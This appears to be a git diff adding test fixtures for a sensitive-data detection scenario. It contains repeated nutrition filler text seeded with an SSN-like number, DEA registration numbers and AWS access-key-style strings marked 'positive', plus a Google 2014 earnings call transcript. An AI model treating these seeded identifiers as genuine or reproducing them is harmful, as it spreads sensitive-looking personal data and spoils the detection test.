nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +"dea2": "DEA # BB4053839 | BJ6125341 " + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + "positive": { + "aaki1": "022QF06E7MXBSH9DHM02 AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + } + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. diff --git a/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline_v2.txt b/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline_v2.txt new file mode 100644 index 0000000..a7ee20d --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline_v2.txt @@ -0,0 +1,243 @@ + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Health care - DEA BB4053839 | BJ6125341 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + "positive": { + "aaki1": "022QF06E7MXBSH9DHM02 AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + } + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/0_PII.txt b/scenarios/scenario_5/infra/s3_files/s3_files/0_PII.txt new file mode 100644 index 0000000..ec63106 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/0_PII.txt @@ -0,0 +1 @@ +219-42-2331 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_FinInfo_new.txt b/scenarios/scenario_5/infra/s3_files/s3_files/2_FinInfo_new.txt new file mode 100644 index 0000000..6e07af7 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/2_FinInfo_new.txt @@ -0,0 +1,602 @@ +Q3 2014 Earnings Call +Company Participants +• Ellen West +• Patrick Pichette +• Omid Kordestani +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju +• Mark S. Mahaney +• Ross A. Sandler. +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +MANAGEMENT DISCUSSION SECTION +Operator April_05_01 +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was $2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom 